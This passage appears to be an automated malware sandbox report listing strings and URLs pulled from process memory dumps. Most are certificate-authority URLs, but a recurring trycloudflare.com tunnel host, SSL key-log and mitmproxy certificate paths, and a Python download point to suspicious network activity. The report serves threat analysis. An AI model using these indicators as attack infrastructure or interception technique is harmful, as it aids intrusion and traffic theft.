"http://www.symauth.com/rpa0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "0www.entrust.net/cps" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.digicert.com1!0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Heuristic match: "ol.et" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Heuristic match: "osoft.co" Heuristic match: "ystem.activityhistory.id" Heuristic match: "ystem.appusermodel.id" Heuristic match: "ystem.identityprovider.name" Heuristic match: "ystem.protocol.name" Heuristic match: "ystem.sam.name" Heuristic match: "ystem.structuredquery.is" Heuristic match: "ystem.structuredquery.virtual.cc" Heuristic match: "ystem.structuredquery.virtual.to" Heuristic match: "system.activityhistory.id" Heuristic match: "system.identityprovider.name" Heuristic match: "system.sam.name" Heuristic match: "system.structuredquery.virtual.cc" Heuristic match: "system.structuredquery.virtual.to" Heuristic match: "system.structuredquery.is" Heuristic match: "system.protocol.name" Heuristic match: "system.appusermodel.id" Heuristic match: "system.structuredquerytype.implicit.is" Pattern match: "http://www.validationtest.contoso.com/test%d.html"52:T161a0,Found URL "https://opposite-lodge-strict-closes.trycloudflare.comcommonprogramfiles=c:\program" - Source: "00000000-00003044.00000000.171357.31DD0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comprocessor_identifier=intel64" - Source: "00000000-00003044.00000000.171357.31DD0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comsslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtprocessor_identifier=intel64" - Source: "00000000-00003044.00000000.171357.31DD0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.combaseurl=https://opposite-lodge-strict-closes.trycloudflare.comsslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtpathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.msc;.cplpathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.msc;.cplbaseurl=https://opposite-lodge-strict-closes.trycloudflare.comcommonprogramfiles(x86)=c:\program" - Source: "00000000-00003044.00000000.171357.31DD0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comcommonprogramfiles=c:\program" - Source: "00000000-00003044.00000000.171357.320C0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comcommonprogramfiles=c:\program" - Source: "00000000-00003044.00000000.171357.337B0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comprocessor_identifier=intel64" - Source: "00000000-00003044.00000001.171730.31DD0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comsslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtprocessor_identifier=intel64" - Source: "00000000-00003044.00000001.171730.31DD0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.combaseurl=https://opposite-lodge-strict-closes.trycloudflare.comsslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtpathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.msc;.cplpathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.msc;.cplbaseurl=https://opposite-lodge-strict-closes.trycloudflare.comcommonprogramfiles(x86)=c:\program" - Source: "00000000-00003044.00000001.171730.31DD0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mn9iqmgvw,czcthawte," - Source: "00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3rszysil" - Source: "00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comrosophy\vide" - Source: "00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comcommonprogramfiles=c:\program" - Source: "00000000-00003044.00000001.171730.4C78C000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>ton1redmond1microsoft" - Source: "00000000-00003044.00000001.171730.4C78C000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found URL "https://www.python.org/ftp/python/3.14.0/python-3.14.0rc3-embed-amd64.zip'" - Source: "00000000-00005872.00000000.172076.60800000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comcommonprogramfiles=c:\program" - Source: "00000000-00005872.00000000.172076.60800000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comcommonprogramfiles=c:\program" - Source: "00000000-00005872.00000000.172076.60850000.00000004.mdmp") Found URL "https://www.python.org/ftp/python/3.14.0/python-3.14.0rc3-embed-amd64.zip'" - Source: "00000000-00005872.00000000.172076.60850000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comcommonprogramfiles(x86)=c:\program" - Source: "00000000-00005872.00000000.172076.60850000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.combaseurl=https://opposite-lodge-strict-closes.trycloudflare.comsslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtprocessor_identifier=intel64" - Source: "00000000-00005872.00000000.172076.60850000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com79!p" - Source: "00000000-00005872.00000000.172076.60850000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com7k!i*7f!o+curl_ca_bundle=c:\users\hapubws\.mitmproxy\mitmproxy-ca-cert.cer7" - Source: "00000000-00005872.00000000.172076.60850000.00000004.mdmp") Found URL "http://docs.oasis-khzl-" - Source: "00000000-00005872.00000000.172076.60850000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czc&http://crl.thawtthawte," - Source: "00000000-00005872.00000000.172076.7AC20000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eeo<" - Source: "00000000-00005872.00000000.172076.7AC20000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005872.00000000.172076.7AC20000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005872.00000000.172076.7AC20000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005872.00000000.172076.7AC20000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005872.00000000.172076.7AC20000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005872.00000000.172076.7AC20000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;wvtasn1catmemberinfodecodemicrosoft.management.infrastructure.dllmicrosoft.management.infrastructure.dll1.3.6.1.4.1.311.60.3.2" - Source: "00000000-00005872.00000000.172076.7AC20000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comwvtasn1spcstatementtypedecodecurl_ca_bundle=c:\users\hapubws\.mitmproxy\mitmproxy-ca-cert.cerc" - Source: "00000000-00005872.00000000.172076.7AC20000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005872.00000000.172076.7AC20000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005872.00000000.172076.7AC20000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005872.00000000.172076.7AC20000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005872.00000000.172076.7AC20000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005872.00000000.172076.7AC20000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0net1hwinc.erisxware" - Source: "00000000-00005872.00000000.172076.7AC20000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005872.00000000.172076.7AC20000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00005872.00000000.172076.7AC20000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005872.00000000.172076.7AC20000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00005872.00000000.172076.7AC20000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft/certs/mictimstapca_2010-07-01.crt0elq6wwashington1redmond1icrosoft" - Source: "00000000-00005872.00000000.172076.7AC20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005872.00000000.172076.7AC20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005872.00000000.172076.7AC20000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00005872.00000000.172076.7B1E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005872.00000000.172076.7B1E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005872.00000000.172076.7B1E0000.00000004.mdmp") Found URL "https://www.python.org/ftp/python/3.14.0/python-3.14.0rc3-embed-amd64.zip'" - Source: "00000000-00005872.00000000.172076.7B2E0000.00000004.mdmp") Found URL "https://www.python.org/ftp/python/3.14.0/python-3.14.0rc3-embed-amd64.zip'" - Source: "00000000-00005872.00000001.173995.60800000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comcommonprogramfiles=c:\program" - Source: "00000000-00005872.00000001.173995.60800000.00000004.mdmp") Found URL "https://www.python.org/ftp/python/3.14.0/python-3.14.0rc3-embed-amd64.zip'" - Source: "00000000-00005872.00000001.173995.60850000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comcommonprogramfiles(x86)=c:\program" - Source: "00000000-00005872.00000001.173995.60850000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.combaseurl=https://opposite-lodge-strict-closes.trycloudflare.comsslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtprocessor_identifier=intel64" - Source: "00000000-00005872.00000001.173995.60850000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com79!p" - Source: "00000000-00005872.00000001.173995.60850000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com7k!i*7f!o+curl_ca_bundle=c:\users\hapubws\.mitmproxy\mitmproxy-ca-cert.cer7" - Source: "00000000-00005872.00000001.173995.60850000.00000004.mdmp") Found URL "http://docs.oasis->" - Source: "00000000-00005872.00000001.173995.60850000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czc" - Source: "00000000-00005872.00000001.173995.7AC20000.00000004.mdmp") Found URL "http://crl.thawtthawte," - Source: "00000000-00005872.00000001.173995.7AC20000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eeo<" - Source: "00000000-00005872.00000001.173995.7AC20000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005872.00000001.173995.7AC20000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005872.00000001.173995.7AC20000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005872.00000001.173995.7AC20000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005872.00000001.173995.7AC20000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005872.00000001.173995.7AC20000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;wvtasn1catmemberinfodecodemicrosoft.management.infrastructure.dllmicrosoft.management.infrastructure.dll1.3.6.1.4.1.311.60.3.2" - Source: "00000000-00005872.00000001.173995.7AC20000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comwvtasn1spcstatementtypedecodecurl_ca_bundle=c:\users\hapubws\.mitmproxy\mitmproxy-ca-cert.cerc" - Source: "00000000-00005872.00000001.173995.7AC20000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005872.00000001.173995.7AC20000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005872.00000001.173995.7AC20000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005872.00000001.173995.7AC20000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005872.00000001.173995.7AC20000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005872.00000001.173995.7AC20000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0net1hwinc.erisxware" - Source: "00000000-00005872.00000001.173995.7AC20000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005872.00000001.173995.7AC20000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00005872.00000001.173995.7AC20000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005872.00000001.173995.7AC20000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00005872.00000001.173995.7AC20000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00005872.00000001.173995.7AC20000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005872.00000001.173995.7AC20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005872.00000001.173995.7AC20000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreport:\programdata\microsoft\windows" - Source: "00000000-00005872.00000001.173995.7B1E0000.00000004.mdmp") Found URL "http://crl.m$vkt7" - Source: "00000000-00005872.00000001.173995.7B1E0000.00000004.mdmp") Found URL "http://crl.micrxt" - Source: "00000000-00005872.00000001.173995.7B1E0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00005872.00000001.173995.7B1E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005872.00000001.173995.7B1E0000.00000004.mdmp") Found URL "https://www.python.org/ftp/python/3.14.0/python-3.14.0r=3++s++c:\windows\system32\windowspowershell\v1.0;c:\windows\system32;c:\windows\system;c:\windows;.;c:\programdata\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\users\hapubws\appdata\roaming\nvm;c:\program" - Source: "00000000-00005872.00000001.173995.7B2E0000.00000004.mdmp") Found URL "https://www.python.org/ftp/python/3.14.0/python-3.14.0rc3-embed-amd64.zip'" - Source: "00000000-00005872.00000001.173995.7B2E0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comcommonprogramfiles=c:\program" - Source: "00000000-00005872.00000001.173995.7B2E0000.00000004.mdmp") Found URL "http://wwwlocal" - Source: "00000000-00005872.00000001.173995.7B2E0000.00000004.mdmp") Found URL "http://wy]d'" - Source: "00000000-00005872.00000001.173995.7B2E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005872.00000001.173995.7B2E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00005872.00000001.173995.7B2E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00005872.00000001.173995.7B2E0000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00005872.00000001.173995.7B2E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00005872.00000001.173995.7B2E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005872.00000001.173995.7B2E0000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00005872.00000001.173995.7B2E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.colrts/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00005872.00000001.173995.7B2E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00005872.00000001.173995.7B2E0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00005872.00000001.173995.933A8000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00005872.00000001.173995.933A8000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllmpconfigut-53e7e780-2330-40c6-94c6-be75e946e933oftware\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00005872.00000001.173995.933A8000.00000002.mdmp") Found URL "https://www.python.org/ftp/python/3.14.0/python-3.14.0rc3-embed-amd64.zip'" - Source: "00000000-00005872.00000002.174371.60800000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comcommonprogramfiles=c:\program" - Source: "00000000-00005872.00000002.174371.60800000.00000004.mdmp") Found URL "https://www.python.org/ftp/python/3.14.0/python-3.14.0rc3-embed-amd64.zip'" - Source: "00000000-00005872.00000002.174371.60850000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comcommonprogramfiles(x86)=c:\program" - Source: "00000000-00005872.00000002.174371.60850000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.combaseurl=https://opposite-lodge-strict-closes.trycloudflare.comsslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtprocessor_identifier=intel64" - Source: "00000000-00005872.00000002.174371.60850000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com79!p" - Source: "00000000-00005872.00000002.174371.60850000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com7k!i*7f!o+curl_ca_bundle=c:\users\hapubws\.mitmproxy\mitmproxy-ca-cert.cer7" - Source: "00000000-00005872.00000002.174371.60850000.00000004.mdmp") Found URL "https://www.python.org/ftp/python/3.14.0/python-3.14.0rc3-embed-amd64.zip'" - Source: "00000000-00005872.00000002.174371.6087E000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0f9iqmgvw,czc" - Source: "00000000-00005872.00000002.174371.7AC20000.00000004.mdmp") Found URL "http://crl.thawtthawte," - Source: "00000000-00005872.00000002.174371.7AC20000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eeo<" - Source: "00000000-00005872.00000002.174371.7AC20000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005872.00000002.174371.7AC20000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005872.00000002.174371.7AC20000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: 